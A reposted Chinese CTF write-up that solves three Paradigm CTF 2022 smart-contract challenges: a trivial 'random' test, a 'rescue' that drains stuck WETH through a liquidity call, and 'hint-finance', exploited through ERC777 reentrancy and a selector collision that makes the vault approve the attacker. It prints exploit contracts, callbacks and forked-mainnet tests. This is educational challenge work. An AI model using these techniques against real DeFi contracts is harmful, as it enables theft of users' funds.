Paradigm CTF 2022 – random & rescue & hint-finance (上)

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

random

解题

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/01.random/random.sol";

contract randomTest is Test {

    Random public random;

    function setUp() public{
        random = new Random();
    }

    function test_Sloved() public {
        random.solve(4);
        assertEq(random.solved(), true);
    }
}

rescue

分析

本题的任务:不小心将10WETH转到了合约masterchef中,我们需要将他归零。

合约中只有swapTokenForPoolToken()可以调用,它会将一个tokenIn传入,然后对半分换成poolId这个ID对应的池子中的两个代币。其实tokenIn的值只要不为0就可以,因为添加流动性的时候amountDesired设置成了masterchef拥有的最大代币数目,tokenIn的数量不与token0和token1挂钩。

function swapTokenForPoolToken(uint256 poolId, address tokenIn, uint256 amountIn, uint256 minAmountOut) external {
       (address lpToken,,,) = masterchef.poolInfo(poolId);
       address tokenOut0 = UniswapV2PairLike(lpToken).token0();
       address tokenOut1 = UniswapV2PairLike(lpToken).token1();

       ERC20Like(tokenIn).approve(address(router), type(uint256).max);
       ERC20Like(tokenOut0).approve(address(router), type(uint256).max);
       ERC20Like(tokenOut1).approve(address(router), type(uint256).max);
       ERC20Like(tokenIn).transferFrom(msg.sender, address(this), amountIn);

       // swap for both tokens of the lp pool
       _swap(tokenIn, tokenOut0, amountIn / 2);
       _swap(tokenIn, tokenOut1, amountIn / 2);

       // add liquidity and give lp tokens to msg.sender
       _addLiquidity(tokenOut0, tokenOut1, minAmountOut);
   }

masterchef添加流动性的时候是将整个合约拥有的代币设置进去,这就意味着,只要我们的token1够多,那么token0就会被归零。(原因是uniswapV2的添加流动性方法中,先是判断token1的数目够不够换token0)

function _addLiquidity(address token0, address token1, uint256 minAmountOut) internal {
    (,, uint256 amountOut) = router.addLiquidity(
        token0, 
        token1, 
        ERC20Like(token0).balanceOf(address(this)), 
        ERC20Like(token1).balanceOf(address(this)), 
        0, 
        0, 
        msg.sender, 
        block.timestamp
    );
    require(amountOut >= minAmountOut);
}

因此,我们选取一个币对池子中token0是WETH的,这样的话,只要我们拥有的token1足够多,就可以将WETH归零。

如果不好理解,那我举个例子: 由于不知道题目中的池子比例, 我们假设池子里有 WETH 和 USDT 各50个

                WETH  USDT             得到                   k
池子初始         50     50                                    2500
    输入        10     ?                             (这一步用于得到一定数量的USDT)
池子最终         60    2500/60 ~=42     50-42=8               2500
    到手         0     8                             (这里得到的USDT会给到masterchef)

masterchef      10    8
                60    48                            (此时48>42, 说明所需的USDT已经足够)

先判断amountDesired=10的时候USDT够不够, 算出来够, 因此会将10个WETH换成USDT, 多的USDT并不会转发 我们这题选取的token0是WETH(10个), 那么只要我们有大于比例的USDT就可以了

反正这题就是要保证10个WETH要被完全换出去, USDT可以不被全部换走,有点残留

同时, 本题中用于平分两半的token可以是任意数量, 因为masterchef会将所有的token0和token1作为amountDesired

解题

原题目题解如下:

contract Rescue {
    UniswapV2RouterLike public router = UniswapV2RouterLike(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);

    WETH9 public weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    ERC20Like public usdc = ERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IPair public usdcweth = IPair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);

    IPair public usdtweth = IPair(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852);

    constructor() payable {}

    function rescue(address setup) public {
        // 获取误转入10WETH的合约实例
        address target = ISetup(setup).mcHelper();
        
        // 本合约获得11WETH,因为是1:1兑换
        weth.deposit{value: 11 ether}();
        // 向 USDT/WETH 池子转10WETH
        weth.transfer(address(usdtweth), 10 ether);
        // 向 USDC/WETH 池子转1WETH
        weth.transfer(address(usdcweth), 1 ether);

        // 获取池子的两个token的比例,reserveUSDT是池子中剩余的USDT数量,reserveWETH是池子中剩余的WETH数量
        (uint112 reserveUSDT, uint112 reserveWETH, ) = usdtweth.getReserves();
        // 用10个WETH换取若干个USDT
        uint256 amount = router.getAmountOut(10 ether, reserveWETH, reserveUSDT);
        // USDT/WETH 池子中,用WETH换USDT,结果是得到amount数量的USDT
        usdtweth.swap(amount, 0, target, "");

        // 获取池子的两个token的比例,reserveWETH是池子中剩余的WETH数量,reserveUSDC是池子中剩余的USDC数量
        (reserveWETH, uint112 reserveUSDC, ) = usdcweth.getReserves();
        // 用1个WETH换取若干个USDC
        amount = router.getAmountOut(1 ether, reserveWETH, reserveUSDC);
        // WETH/USDC 池子中,用WETH换USDC,结果是得到amount数量的USDC
        usdcweth.swap(0, amount, address(this), "");

        // 要授权,这样池子才能转走你的USDC
        usdc.approve(target, usdc.balanceOf(address(this)));
        // 1是指第一个交易对,即USDT/WETH,将USDC放入然后对半分
        IMasterChefHelper(target).swapTokenForPoolToken(1, address(usdc), usdc.balanceOf(address(this)), 0);
    }
}

由于比赛已经过了,没有环境给我测试,因此我将写个测试来演绎本题的原理,脚本放在GitHub仓库了

masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的addLiquidity来添加流动性 因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP, 然后调用addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../interface.sol";

// 我们模拟题目:假设masterchef一开始拥有10WETH,我们需要将它归零,任何人可以调用它的_addLiquidity来添加流动性
// 因此,我们打算用一种叫做COMP的ERC20代币,送给masterchef一定数量的COMP,
// 然后调用_addLiquidity给COMP/WETH池子添加流动性,这样就可以将masterchef的WETH归零

contract rescurTest is Test {

    WETH9 comp = WETH9(0xc00e94Cb662C3520282E6f5717214004A7f26888);
    WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    Masterchef public masterchef;

    function setUp() public {
        vm.createSelectFork("mainnet", 16_401_180);
        vm.label(address(comp), "comp");
        vm.label(address(weth), "weth");
        vm.label(address(router), "router");
        vm.label(address(masterchef), "masterchef");
    }

    function test_setToZero() public payable{

        // 此时masterchef合约拥有10WETH,我们需要将他归零
        masterchef = new Masterchef();
        weth.deposit{value: 10}();
        weth.transfer(address(masterchef), 10); 

        // 用一个拥有COMP的账户给masterchef转1000的COMP,根据本区块中的币对比例,1000COMP完全可以换10WETH
        vm.startPrank(0x2775b1c75658Be0F640272CCb8c72ac986009e38);
        comp.transfer(address(masterchef),1000);
        vm.stopPrank();

        // 检查masterchef是否有10 WETH
        assertEq(weth.balanceOf(address(masterchef)),10);
        console.log("[before] WETH",weth.balanceOf(address(masterchef)));
        
        // 检查masterchef是否有 1000 COMP
        assertEq(comp.balanceOf(address(masterchef)),1000);
        console.log("[before] COMP",comp.balanceOf(address(masterchef)));

        // 添加流动性,这会使我们换走所有的token0,即WETH
        masterchef._addLiquidity(address(weth), address(comp), 0);

        // 检查masterchef的WETH是否为0,并且COMP会有剩余
        assertEq(weth.balanceOf(address(masterchef)),0);
        console.log("[after] WETH",weth.balanceOf(address(masterchef)));
        console.log("[after] COMP",comp.balanceOf(address(masterchef)));
    }
}

contract Masterchef{
    Uni_Router_V2 router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    function _addLiquidity(address token0, address token1, uint256 minAmountOut) public {
        WETH9(token0).approve(address(router),type(uint256).max);
        WETH9(token1).approve(address(router),type(uint256).max);
    (,, uint256 amountOut) = router.addLiquidity(
        token0, 
        token1, 
        WETH9(token0).balanceOf(address(this)), 
        WETH9(token1).balanceOf(address(this)), 
        0, 
        0, 
        msg.sender, 
        block.timestamp
    );
    require(amountOut >= minAmountOut);
    }
}
Logs:
  [before] WETH 10
  [before] COMP 1000
  [after] WETH 0
  [after] COMP 631

本例子中无论weth是token0还是token1,结果都是Logs那样。原因如下:1000个COMP可以换的WETH远多于10个,因此不会进入到if分支(此分支是用COMP换WETH),而是进入else分支,else分支则是用WETH换COMP

uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
      if (amountBOptimal <= amountBDesired) {
          require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
          (amountA, amountB) = (amountADesired, amountBOptimal);
      } else {
          uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
          assert(amountAOptimal <= amountADesired);
          require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
          (amountA, amountB) = (amountAOptimal, amountBDesired);
      }

综上所述,token0和token1的位置不是非要token0是WETH,例子关键是让程序流进入到WETH换COMP的分支即可。回到题目,则是找到一个币对,然后让程序执行流进入到WETH换另外一个token即可,另外一个token需要足够多

hint-finance

分析

1.任务

这是一个主网的 fork,根据Etherscan可查询到三个underlyingTokens分别为:PNT,SAND,AMP。其中,PNT 和 AMP 都是 ERC777, SAND token 是一个 ERC20。

要求我们调用isSolved()函数成功返回true,即我们需要拿走金库拥有的underlyingTokens余额的99%

address[3] public underlyingTokens = [
    0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
    0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
    0xfF20817765cB7f73d4bde2e66e067E58D11095C2
];
function isSolved() public view returns (bool) {
    for (uint256 i = 0; i < underlyingTokens.length; ++i) {
     // 每一个underlyingTokens对应一个金库地址
        address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
        // 获取金库拥有的underlyingTokens余额
        uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
        // 我们需要拿走金库拥有的underlyingTokens余额的99%
        if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false;
    }
    return true;
}

2.全局观

一共三个合约

  • Setup.sol
    • 部署题目,部署三个underlyingTokens,三个rewardTokens和创建三个金库,并且设置对应关系
  • HintFinanceFactory.sol
    • 创建金库
    • 金库和 underlyingTokens 对应关系
    • 给金库增加 rewardToken
  • HintFinanceVault.sol
    • 存款,借款,取款,闪电贷
    • rewardToken 的信息(比如利率,可取数目)会随着时间变化,有点线性释放的味道 题目的类型很典型:存入一定数量的underlyingTokens 到金库,他会给你一些金库份额,然后取款underlyingTokens 的时候会额外给你一些rewardToken(当然是根据一些规则给你)。并且还提供了闪电贷来借用金库持有的任何token。

3.详细分析

三个underlyingTokens 分别为ERC777和ERC20,ERC777非常容易出错,ERC20也是问题经常出现

3.1ERC777

发现漏洞

ERC777存在钩子函数:转账代币的时候会调用发送方的_callTokensToSend()和接收方的_callTokensReceived()进行回调。这样就类比call()转账然后进入fallback()重入。

当然ERC777需要到ERC1820进行钩子注册

function _send(
    address from,
    address to,
    uint256 amount,
    bytes memory userData,
    bytes memory operatorData,
    bool requireReceptionAck
)
    internal
{
    require(from != address(0), "ERC777: send from the zero address");
    require(to != address(0), "ERC777: send to the zero address");

    address operator = _msgSender();

    _callTokensToSend(operator, from, to, amount, userData, operatorData);

    _move(operator, from, to, amount, userData, operatorData);

    _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}

金库合约的存款和取款函数都没有重入保护,因此可以利用此钩子函数进行回调重入攻击

利用漏洞

// 存款,缺乏重入保护
function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
    uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
    // 4. totalSupply会远大于bal,因为bal是金库拥有的数量,而totalSupply是全部人拥有的量,
    //    因为在withdraw的时候转给了攻击地址一大笔钱,但是totalSupply还没来得及更新,因此
    //    下面式子中totalSupply和bal不变,计算出来的shares会比原来大很多.
    // PS:注意它这样计算shares是为了线性计算用户存入token之后可以得到的份额,然后根据份额在取款的时候给利息
    uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
    // 5. 然后金库给攻击合约转 bal-1 的金额
    //    注意此时的amount是(bal-1)/2,因此在调用钩子函数的时候并不会再次重入
    ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
    totalSupply += shares;
    // 6. 但是金库却给我们记录了大了好多倍的金额
    balanceOf[msg.sender] += shares;
    return shares;
}

// 单个取款,缺乏重入保护
function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
    // 1. 不用验证msg.sender是不是拥有shares这么多钱,因为不够的话会下溢,但0.8.0^会报错revert
    uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
    // PS:这里的式子是计算我们的shares占总totalSupply的百分比,然后获取金库一定比例的金额
    uint256 amount = shares * bal / totalSupply;
    // 2. 会给我们的攻击合约发送一大笔钱:bal-1
    // 3. 然后进入到钩子函数,然后钩子函数又会调用到deposit()
    ERC20Like(underlyingToken).transfer(msg.sender, amount); 
    // 7. 执行完钩子函数之后,我们将我们的余额减去bal-1,此时不会失败,因为我们的deposit()时给我们记录了好几倍的金额
    totalSupply -= shares;
    // 8.最后减去一小部分shares
    balanceOf[msg.sender] -= shares;
    return amount;
}

我们需要控制好回调函数的条件,什么时候重入什么时候停止重入。在这里,我们重入一次就好,重入一次就可以获得很大的shares。

// PNT的回调函数
function tokensReceived(
    address operator,
    address from,
    address to,
    uint256 amount,
    bytes calldata userData,
    bytes calldata operatorData
)external{
    if (amount == prevAmount) {
        console.log("   balance(vault)-1:",amount);
        uint256 share = HintFinanceVault(vault).deposit(amount - 2); // 这样就不符合amount == prevAmount而再次重入了
        console.log("   attack's share:",share);
    }
}

// AMP的回调函数
function tokensReceived(
    bytes4 functionSig,
    bytes32 partition,
    address operator,
    address from,
    address to,
    uint256 value,
    bytes calldata data,
    bytes calldata operatorData
)external{
    if (value == prevAmount) {
        console.log("   balance(vault)-1:",value);
        uint256 share = HintFinanceVault(vault).deposit(value - 2); // 这样就不符合amount == prevAmount而再次重入了
        console.log("   attack's share:",share);
    }
}

最终扣除一笔小的share,但授权很大数目的shares,然后我们可以使用正常的withdraw()取钱即可

3.2ERC20

发现漏洞

针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。

所以本题的思路是:如何让 vault 合约作为 msg.sender, 调用 token 合约的 approve 方法。可以利用 flashloan 的 回调函数来实现,但是该 回调函数写死了,是onHintFinanceFlashloan(),并不是一个可以任意传的值,即不是address(caller).call(data)

SAND合约没有实现onHintFinanceFlashloan(),并且它的approve方法逻辑是正确的无可挑剔不可利用。但是认真找一下,它还存在这样一个父合约: ERC20BasicApproveExtension.sol,它有一个函数可以进行approve:

function approveAndCall(
    address target,
    uint256 amount,
    bytes calldata data
) external payable returns (bytes memory) {
    require(
        BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
        "first param != sender"
    );

    _approveFor(msg.sender, target, amount);

    // solium-disable-next-line security/no-call-value
    (bool success, bytes memory returnData) = target.call.value(msg.value)(data);
    require(success, string(returnData));
    return returnData;
}

approveAndCall函数也会让调用者向对应地址进行approve,还会根据传入的data去target地址中调用相应的函数。如果我们能让Vault合约调用这个函数或者approve函数,即可拿到权限。看起来好像并没有能让Vault调用这两个函数的方法,flashloan中唯一存在的一个外部函数调用就是他自己的回退函数_onHintFinanceFlashloan。

函数选择器碰撞!但经过对比,发现approveAndCall和onHintFinanceFlashloan的函数选择器是相同的,也就是说,在flashloan()函数中由于函数选择器相同的原因,可以调用到approveAndCall函数,从而达到目的。也就是我们说的函数选择器碰撞

cast sig "approveAndCall(address,uint256,bytes)"
# 0xcae9ca51

cast sig "onHintFinanceFlashloan(address,address,uint256,bool,bytes)"
# 0xcae9ca51

利用漏洞


针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall() 中传入的参数

token应该是SAND合约

  • 第一个参数是vault代表要调用vault中的函数
  • 第二个参数是amount代表要授权给msg.sender的金额
  • 第三个参数是data代表要调用vault中的某个方法 1
SandLike(token).approveAndCall(vault, amount, data);  

这个 data 是调用 flashloan() 的 calldata,即 data 要满足flashloan(address token, uint256 amount, bytes calldata data)这个函数;则写成如下:

bytes memory data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData);

然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloan()和approveAndCall()两个函数;将两个函数的参数对齐如下:

approveAndCall() onHintFinanceFlashloan() 偏移
address target address token 0x20
uint256 amount address factory 0x40
0xa0(要告诉方法跳到innerdata那里) uint256 amount 0x60
0(对齐位置,补0即可) bool isUnderlyingOrReward 0x80
bytes memory innerdata bytes memory data 0xa0

因此,(第三行)这里的amount和factory就是授权给token 的金额,(第四行)而amount是要告诉方法跳到innerdata那里


接下来我们要编码innerdata。

function approveAndCall(
    address target,
    uint256 amount,
    bytes calldata data
) external payable returns (bytes memory) {
    require(
        BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
        "first param != sender"
    );

    _approveFor(msg.sender, target, amount);

    // solium-disable-next-line security/no-call-value
    (bool success, bytes memory returnData) = target.call.value(msg.value)(data);
    require(success, string(returnData));
    return returnData;
}

function doFirstParamEqualsAddress(bytes memory data, address _address)
    internal
    pure
    returns (bool)
{
    if (data.length < (36 + 32)) {
        return false;
    }
    uint256 value;
    assembly {
        value := mload(add(data, 36))
    }
    return value == uint256(_address);
}

根据代码我们可以得到:

  • data中的第一个参数必须是msg.sender,因为是金库调用的,因此第一个参数必须是金库的地址。
  • doFirstParamEqualsAddress()要求参数的长度必须大于或等于68,也就是说我们的参数至少是两个
  • innerdata必须是一个可以执行的方法,而且必须执行成功,那么我们可以让它来执行一个静态方法比如balanceOf() 因此编码可以得到如下:
bytes memory innerData = abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);

为了闪电贷执行成功,需要攻击合约实现balanceOf()和transfer()方法,因为闪电贷会执行token的这两个方法

function transfer(address, uint256) external returns (bool) {
    // 在闪电贷方法中有一行: ERC20Like(token).transfer(msg.sender, amount);
    // 因此攻击合约要实现这个方法进行伪装
    return true;
}

function balanceOf(address) external view returns (uint256) {
    // 在闪电贷方法中有一行: ERC20Like(token).balanceOf(address(this));
    // 因此攻击合约要实现这个方法进行伪装
    return 0;
}

5.授权成功后,就直接转账即可

SandLike(token).approveAndCall(vault, amount, data);  
// vault approve给本合约之后,我们就可以用transferFrom进行转账了
ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));

3.3一些其他的限制

根据ERC777的规则,我们需要额外增加这些内容

// AMP合约中有一个这个东西:string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient";
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册AmpTokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("AmpTokensRecipient"), address(this));
// PNT合约中有一个这个东西:bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册ERC777TokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));

解题

见GitHub仓库
https://github.com/chen4903/Paradigm-2022/tree/master/test/03.hint-finance

– END –


Paradigm CTF 2022 - random & rescue & hint-finance (上)

原文始发于微信公众号(ChaMd5安全团队):Paradigm CTF 2022 – random & rescue & hint-finance (上)

版权声明:admin 发表于 2023年8月20日 上午8:01。
转载请注明:Paradigm CTF 2022 – random & rescue & hint-finance (上) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...